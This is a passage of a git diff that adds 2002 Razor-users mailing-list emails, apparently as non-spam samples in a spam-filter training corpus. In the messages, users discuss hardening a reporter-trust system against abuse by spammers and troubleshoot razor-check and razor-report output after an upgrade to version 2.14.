Mon, + 12 Aug 2002 14:26:52 -0700 +Received: from user-1121e1b.dsl.mindspring.com ([66.32.184.43] + helo=belphegore.hughes-family.org) by granger.mail.mindspring.net with + esmtp (Exim 3.33 #1) id 17eMi5-0004qH-00; Mon, 12 Aug 2002 17:26:46 -0400 +Received: from balam.hughes-family.org + (adsl-67-118-234-50.dsl.pltn13.pacbell.net [67.118.234.50]) by + belphegore.hughes-family.org (Postfix) with ESMTP id F331430B6B; + Mon, 12 Aug 2002 14:26:43 -0700 (PDT) +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: razor-users@example.sourceforge.net +To: Jehan +From: "Craig R.Hughes" +In-Reply-To: +Message-Id: <343528EA-AE3A-11D6-A15F-00039396ECF2@deersoft.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 14:26:46 -0700 +Date: Mon, 12 Aug 2002 14:26:46 -0700 + +Justification could be "This user has a great track record", he +has agreed with me every single time out of hundreds of times in +the past. + +C + +On Monday, August 12, 2002, at 11:42 AM, Jehan wrote: + +> And I also think that people listen more to people justifying +> their argumentation than people just giving a result. But +> justification will never work in Razor. + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00619.d7ae568cebb376dc79b0c4db8fdd9293 b/bayes/spamham/easy_ham_2/00619.d7ae568cebb376dc79b0c4db8fdd9293 new file mode 100644 index 0000000..f863297 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00619.d7ae568cebb376dc79b0c4db8fdd9293 @@ -0,0 +1,114 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:21:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7077743C45 + for ; Tue, 13 Aug 2002 05:19:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:02 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7CMoVb04895 for ; Mon, 12 Aug 2002 23:50:31 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eNs5-0004d0-00; Mon, + 12 Aug 2002 15:41:09 -0700 +Received: from main.gmane.org ([80.91.224.249]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eNrc-0006lN-00 for ; Mon, + 12 Aug 2002 15:40:40 -0700 +Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17eNqc-000157-00 for ; + Tue, 13 Aug 2002 00:39:38 +0200 +To: razor-users@example.sourceforge.net +X-Injected-Via-Gmane: http://gmane.org/ +Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17eNqb-00014t-00 for ; + Tue, 13 Aug 2002 00:39:37 +0200 +Path: not-for-mail +From: Jehan Bing +Newsgroups: gmane.mail.spam.razor.user +Message-Id: +References: + <54059D4C-AE39-11D6-A15F-00039396ECF2@deersoft.com> +NNTP-Posting-Host: adsl-64-168-83-170.dsl.snfc21.pacbell.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Trace: main.gmane.org 1029191977 4145 64.168.83.170 (12 Aug 2002 + 22:39:37 GMT) +X-Complaints-To: usenet@main.gmane.org +NNTP-Posting-Date: Mon, 12 Aug 2002 22:39:37 +0000 (UTC) +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1b) + Gecko/20020802 +X-Accept-Language: en-us, en +Subject: [Razor-users] Re: What's wrong with the Razor servers now? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 15:40:32 -0700 +Date: Mon, 12 Aug 2002 15:40:32 -0700 + +Craig R.Hughes wrote: +> I was thinking you could easily create a spamtrap which you subscribe to +> lots of legitimate nonspam mailing lists, plus you also spread the email +> address around and get it in the hands of lots of spammers so it ends up +> receiving large quantities of both spam and nonspam, then you have it +> apply the algorithm above to the incoming mail stream. So it could be +> thousands of actual real, different, emails per day. The "very high +> rate triggers alarms" thing is certainly something which would be +> possible to check for, but there may be legitimate ways to exhibit this +> behavior -- can't think of one right now but "AOL proxy server" springs +> to mind as an example from another domain. + +If there is a maximum trust value (if trust is some sort of percentage +for instance), and if it isn't impossible to reach it, that would +prevent too few people to get too much of an avantage. My guess is if 1% +of razor users can reach this limit (or be near enough), spammers won't +be able to cheat just by building up their trust, they would need a fair +amount of fake users too. + +Now, for the "fair amount of fake users", spammers don't have access to +many set of network classes. So they would need a bunch of users coming +from the same set of ips. If the razor servers see 100 people on a class +C network (253 ips) reporting 10000 emails a day, something wrong is +going on. This could also trigger alarms. + +As for legitimate proxies and the like, 1) a proxy should not report any +thing (spam should be reported by hand, not automatically), 2) there may +be a way to have exception (IBM networks would have lots of users from +the same set of ips but no likely spammers, so no alarm would trigger +for their network, or better the alarm would be less sensitive). AOL +could still give trouble though but even then, for one particular phone +line/cable, the set of ip is probably quite small even less than a class +C (using network subclassing). The spammers could still try to have +several connections at different locations, but that increases their +cost and so is not so much interesting. + + Jehan + + + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00620.f515234db3aec0db283f64aabaa046ac b/bayes/spamham/easy_ham_2/00620.f515234db3aec0db283f64aabaa046ac new file mode 100644 index 0000000..371a942 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00620.f515234db3aec0db283f64aabaa046ac @@ -0,0 +1,82 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:23:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F2612440FC + for ; Tue, 13 Aug 2002 05:19:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:30 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D111b11672 for ; Tue, 13 Aug 2002 02:01:01 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ePpu-00087R-00; Mon, + 12 Aug 2002 17:47:02 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17ePow-0000x0-00 for + ; Mon, 12 Aug 2002 17:46:02 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7D0iLq01546; Mon, 12 Aug 2002 17:44:21 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Chip Paswater +Cc: razor-users@example.sourceforge.net +Message-Id: <20020813004420.GB11270@nexus.cloudmark.com> +References: <20020808111842.J1593@rover.vipul.net> + + <20020808152638.A32536@frontier.limbo.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020808152638.A32536@frontier.limbo.net> +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: keep submitting known spam? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 17:44:20 -0700 +Date: Mon, 12 Aug 2002 17:44:20 -0700 + +On 08/08/02 15:26 -0700, Chip Paswater wrote: +) > +) > Well, a little more than one bit -- you have to transmit the +) > signature, plus now the entire message body. Plus your ID. +) > Plus the rights to all intellectual property contained in any +) > email message you submit (I guess technically there are no bits +) > in the rights assignment) +) +) Perhaps a feature can be added to razor-report, so that it checks whether a +) message is spam before it submits it. If it is spam, then don't send the +) body, 4 signatures, etc, just up the "rating" for that individual spam. + + razor-report only sends the body if the server does not have + a copy already. When it does, and the server just notes who also + thinks that mail is spam, and uses that info in TeS. + + -chad + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00621.3e51dbf7cab33bc8f8ab13f34c273b33 b/bayes/spamham/easy_ham_2/00621.3e51dbf7cab33bc8f8ab13f34c273b33 new file mode 100644 index 0000000..bd8bd14 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00621.3e51dbf7cab33bc8f8ab13f34c273b33 @@ -0,0 +1,123 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:23:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9047D440FD + for ; Tue, 13 Aug 2002 05:19:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:31 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D12eb11680 for ; Tue, 13 Aug 2002 02:02:40 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ePvj-0001TV-00; Mon, + 12 Aug 2002 17:53:03 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17ePut-0004Fl-00 for + ; Mon, 12 Aug 2002 17:52:12 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7D0oU301782; Mon, 12 Aug 2002 17:50:30 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Mike Burger +Cc: Vipul Ved Prakash , + razor-users@lists.sourceforge.net +Message-Id: <20020813005030.GD11270@nexus.cloudmark.com> +References: + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: No results from razor-check on known spam? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 17:50:30 -0700 +Date: Mon, 12 Aug 2002 17:50:30 -0700 + + Can you send more details about the error? + and also do a 'razor-report -v' to make sure 2.x is being called. + + -chad + +On 11/08/02 21:09 -0500, Mike Burger wrote: +) Ok...I need to amend this. +) +) I don't get the error when I check the spam...just when I go to report it. +) +) On Sun, 11 Aug 2002, Mike Burger wrote: +) +) > I did...unfortunately, now I get this: +) > +) > Died at /usr/bin/razor-check line 32, line 1. +) > +) > Did I need to remove and reinstall, or something. I just did a make +) > install over the existing installation. +) > +) > On Sun, 11 Aug 2002, Vipul Ved Prakash wrote: +) > +) > > On Sun, Aug 11, 2002 at 07:39:41AM -0500, Mike Burger wrote: +) > > > +) > > > Any ideas what might have changed, here? I'm running razor-agents-2.12, +) > > > and razor-agents-sdk-2.0.3. +) > > +) > > Mike, +) > > +) > > Please upgrade to 2.14 as many bugs were fixed between the two releases, and +) > > see if your problem persists. +) > > +) > > cheers, +) > > vipul. +) > > +) > > +) > +) > +) > +) > ------------------------------------------------------- +) > This sf.net email is sponsored by:ThinkGeek +) > Welcome to geek heaven. +) > http://thinkgeek.com/sf +) > _______________________________________________ +) > Razor-users mailing list +) > Razor-users@lists.sourceforge.net +) > https://lists.sourceforge.net/lists/listinfo/razor-users +) > +) +) +) +) ------------------------------------------------------- +) This sf.net email is sponsored by:ThinkGeek +) Welcome to geek heaven. +) http://thinkgeek.com/sf +) _______________________________________________ +) Razor-users mailing list +) Razor-users@lists.sourceforge.net +) https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00622.1d8e9e4c3e8e00a382595b6a2e6954ab b/bayes/spamham/easy_ham_2/00622.1d8e9e4c3e8e00a382595b6a2e6954ab new file mode 100644 index 0000000..e71f760 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00622.1d8e9e4c3e8e00a382595b6a2e6954ab @@ -0,0 +1,135 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:23:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0CE64440FF + for ; Tue, 13 Aug 2002 05:19:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:35 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D1BCb12002 for ; Tue, 13 Aug 2002 02:11:12 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eQ7K-0004bn-00; Mon, + 12 Aug 2002 18:05:02 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17eQ6Y-0004zp-00 for + ; Mon, 12 Aug 2002 18:04:14 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7D12Y302243; Mon, 12 Aug 2002 18:02:34 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Mike Burger +Cc: razor-users@example.sourceforge.net +Message-Id: <20020813010234.GE11270@nexus.cloudmark.com> +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: No results from razor-check on known spam? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 18:02:34 -0700 +Date: Mon, 12 Aug 2002 18:02:34 -0700 + + + This is bizarre. The numbers should not just disappear. Try + with the '-n' switch which prints out a '-' before legit mails. + + razor-check -n mail/caughtspam + + If that still appears broken, can you do the following statement and + send me 'spam_fileno' and 'razor.log' + + razor-check -n -logfile=razor.log -dl=13 mail/caughtspam >spam_fileno + + -chad + +On 11/08/02 07:39 -0500, Mike Burger wrote: +) Since last night, I've been getting odd results...or, rather, a lack of +) results from razor-check. +) +) I am using SpamAssassin, and have my .procmailrc set up to dump any tagged +) spam into its own folder under my ~/mail directory. +) +) When I get any new messages in that folder, I run razor-check against +) them, like so: +) +) razor-check < mail/caughtspam +) +) Previously, if I just ran razor-check against such a batch of spam, it +) would report the message numbers, in the batch, that were known spam. I +) would then delete the known spam from the batch, and then run: +) +) razor-report < mail/caughtspam +) +) to submit the rest, after confirming that +) it was, indeed, spam. (I should tell you that since using SA 2.31, I've +) had less than 1% of the messages it's tagged wind up as false positives, +) but I've taken the advice of many here, and am not just automatically +) reporting). +) +) As I said, previously, razor-check would tell me which messages were known +) spam. For example, if I ran razor-check against a batch of 5 messages, +) and message #2 and #4 were known spam, the end result would look like +) this: +) +) 2 +) 4 +) +) But, starting yesterday, it stopped doing this. Now, I've got to call +) +) razor-check -d < mail/caughtspam +) +) And look for the "mail id # is known spam" before I can eliminate it. +) +) The last 4 messages I checked, I had to do the same thing. +) +) I've changed nothing in my razor installation or configuration. +) +) Any ideas what might have changed, here? I'm running razor-agents-2.12, +) and razor-agents-sdk-2.0.3. +) +) Thanks. +) +) --Mike +) +) +) +) ------------------------------------------------------- +) This sf.net email is sponsored by:ThinkGeek +) Welcome to geek heaven. +) http://thinkgeek.com/sf +) _______________________________________________ +) Razor-users mailing list +) Razor-users@lists.sourceforge.net +) https://lists.sourceforge.net/lists/listinfo/razor-users + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00623.8bf6da05b986d3b16c208102e1c266f2 b/bayes/spamham/easy_ham_2/00623.8bf6da05b986d3b16c208102e1c266f2 new file mode 100644 index 0000000..343101b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00623.8bf6da05b986d3b16c208102e1c266f2 @@ -0,0 +1,146 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:23:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9376543C51 + for ; Tue, 13 Aug 2002 05:19:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:37 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D1Dib12022 for ; Tue, 13 Aug 2002 02:13:44 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eQ9H-0004rK-00; Mon, + 12 Aug 2002 18:07:03 -0700 +Received: from dhcp024-208-195-177.indy.rr.com ([24.208.195.177] + helo=burgers.bubbanfriends.org) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eQ96-0005MQ-00 for ; Mon, + 12 Aug 2002 18:06:53 -0700 +Received: from localhost (localhost.localdomain [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id 670FD400088; + Mon, 12 Aug 2002 20:06:55 -0500 (EST) +Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id + 4883C401A40; Mon, 12 Aug 2002 20:06:54 -0500 (EST) +Received: from localhost (localhost [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id 466B7C00CE0; + Mon, 12 Aug 2002 20:06:54 -0500 (EST) +From: Mike Burger +To: Chad Norwood +Cc: razor-users@example.sourceforge.net +In-Reply-To: <20020813010234.GE11270@nexus.cloudmark.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +X-Virus-Scanned: by AMaViS new-20020517 +Subject: [Razor-users] Re: No results from razor-check on known spam? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 20:06:54 -0500 (EST) +Date: Mon, 12 Aug 2002 20:06:54 -0500 (EST) + +I seem to be getting the known spam message numbers, now, using +2.14...now, I'm just wondering about the error at the end of the +check/report procedure. + +On Mon, 12 Aug 2002, Chad Norwood wrote: + +> +> This is bizarre. The numbers should not just disappear. Try +> with the '-n' switch which prints out a '-' before legit mails. +> +> razor-check -n mail/caughtspam +> +> If that still appears broken, can you do the following statement and +> send me 'spam_fileno' and 'razor.log' +> +> razor-check -n -logfile=razor.log -dl=13 mail/caughtspam >spam_fileno +> +> -chad +> +> On 11/08/02 07:39 -0500, Mike Burger wrote: +> ) Since last night, I've been getting odd results...or, rather, a lack of +> ) results from razor-check. +> ) +> ) I am using SpamAssassin, and have my .procmailrc set up to dump any tagged +> ) spam into its own folder under my ~/mail directory. +> ) +> ) When I get any new messages in that folder, I run razor-check against +> ) them, like so: +> ) +> ) razor-check < mail/caughtspam +> ) +> ) Previously, if I just ran razor-check against such a batch of spam, it +> ) would report the message numbers, in the batch, that were known spam. I +> ) would then delete the known spam from the batch, and then run: +> ) +> ) razor-report < mail/caughtspam +> ) +> ) to submit the rest, after confirming that +> ) it was, indeed, spam. (I should tell you that since using SA 2.31, I've +> ) had less than 1% of the messages it's tagged wind up as false positives, +> ) but I've taken the advice of many here, and am not just automatically +> ) reporting). +> ) +> ) As I said, previously, razor-check would tell me which messages were known +> ) spam. For example, if I ran razor-check against a batch of 5 messages, +> ) and message #2 and #4 were known spam, the end result would look like +> ) this: +> ) +> ) 2 +> ) 4 +> ) +> ) But, starting yesterday, it stopped doing this. Now, I've got to call +> ) +> ) razor-check -d < mail/caughtspam +> ) +> ) And look for the "mail id # is known spam" before I can eliminate it. +> ) +> ) The last 4 messages I checked, I had to do the same thing. +> ) +> ) I've changed nothing in my razor installation or configuration. +> ) +> ) Any ideas what might have changed, here? I'm running razor-agents-2.12, +> ) and razor-agents-sdk-2.0.3. +> ) +> ) Thanks. +> ) +> ) --Mike +> ) +> ) +> ) +> ) ------------------------------------------------------- +> ) This sf.net email is sponsored by:ThinkGeek +> ) Welcome to geek heaven. +> ) http://thinkgeek.com/sf +> ) _______________________________________________ +> ) Razor-users mailing list +> ) Razor-users@lists.sourceforge.net +> ) https://lists.sourceforge.net/lists/listinfo/razor-users +> + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00624.00d7f6ac63e5869c289ea55e2ca4c03d b/bayes/spamham/easy_ham_2/00624.00d7f6ac63e5869c289ea55e2ca4c03d new file mode 100644 index 0000000..08f7a34 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00624.00d7f6ac63e5869c289ea55e2ca4c03d @@ -0,0 +1,139 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:23:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9606844100 + for ; Tue, 13 Aug 2002 05:19:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:19:39 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7D1Djb12024 for ; Tue, 13 Aug 2002 02:13:45 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eQ8K-0004k4-00; Mon, + 12 Aug 2002 18:06:04 -0700 +Received: from dhcp024-208-195-177.indy.rr.com ([24.208.195.177] + helo=burgers.bubbanfriends.org) by usw-sf-list1.sourceforge.net with esmtp + (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eQ8G-00056O-00 for ; Mon, + 12 Aug 2002 18:06:00 -0700 +Received: from localhost (localhost.localdomain [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id 920BF400088; + Mon, 12 Aug 2002 20:06:00 -0500 (EST) +Received: by burgers.bubbanfriends.org (Postfix, from userid 500) id + 6071D401A40; Mon, 12 Aug 2002 20:05:59 -0500 (EST) +Received: from localhost (localhost [127.0.0.1]) by + burgers.bubbanfriends.org (Postfix) with ESMTP id 5E688C00CE0; + Mon, 12 Aug 2002 20:05:59 -0500 (EST) +From: Mike Burger +To: Chad Norwood +Cc: Vipul Ved Prakash , + +In-Reply-To: <20020813005030.GD11270@nexus.cloudmark.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +X-Virus-Scanned: by AMaViS new-20020517 +Subject: [Razor-users] Re: No results from razor-check on known spam? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 20:05:57 -0500 (EST) +Date: Mon, 12 Aug 2002 20:05:57 -0500 (EST) + +It's got to be razor 2.x...I've never installed razor 1.x + +However: + +[mburger@burgers mburger]$ razor-report -v +Razor Agents 2.14, protocol version 3 + +As to more details...I don't have any...it runs, seems to do its thing, +and then gives that error. + +On Mon, 12 Aug 2002, Chad Norwood wrote: + +> Can you send more details about the error? +> and also do a 'razor-report -v' to make sure 2.x is being called. +> +> -chad +> +> On 11/08/02 21:09 -0500, Mike Burger wrote: +> ) Ok...I need to amend this. +> ) +> ) I don't get the error when I check the spam...just when I go to report it. +> ) +> ) On Sun, 11 Aug 2002, Mike Burger wrote: +> ) +> ) > I did...unfortunately, now I get this: +> ) > +> ) > Died at /usr/bin/razor-check line 32, line 1. +> ) > +> ) > Did I need to remove and reinstall, or something. I just did a make +> ) > install over the existing installation. +> ) > +> ) > On Sun, 11 Aug 2002, Vipul Ved Prakash wrote: +> ) > +> ) > > On Sun, Aug 11, 2002 at 07:39:41AM -0500, Mike Burger wrote: +> ) > > > +> ) > > > Any ideas what might have changed, here? I'm running razor-agents-2.12, +> ) > > > and razor-agents-sdk-2.0.3. +> ) > > +> ) > > Mike, +> ) > > +> ) > > Please upgrade to 2.14 as many bugs were fixed between the two releases, and +> ) > > see if your problem persists. +> ) > > +> ) > > cheers, +> ) > > vipul. +> ) > > +> ) > > +> ) > +> ) > +> ) > +> ) > ------------------------------------------------------- +> ) > This sf.net email is sponsored by:ThinkGeek +> ) > Welcome to geek heaven. +> ) > http://thinkgeek.com/sf +> ) > _______________________________________________ +> ) > Razor-users mailing list +> ) > Razor-users@lists.sourceforge.net +> ) > https://lists.sourceforge.net/lists/listinfo/razor-users +> ) > +> ) +> ) +> ) +> ) ------------------------------------------------------- +> ) This sf.net email is sponsored by:ThinkGeek +> ) Welcome to geek heaven. +> ) http://thinkgeek.com/sf +> ) _______________________________________________ +> ) Razor-users mailing list +> ) Razor-users@lists.sourceforge.net +> ) 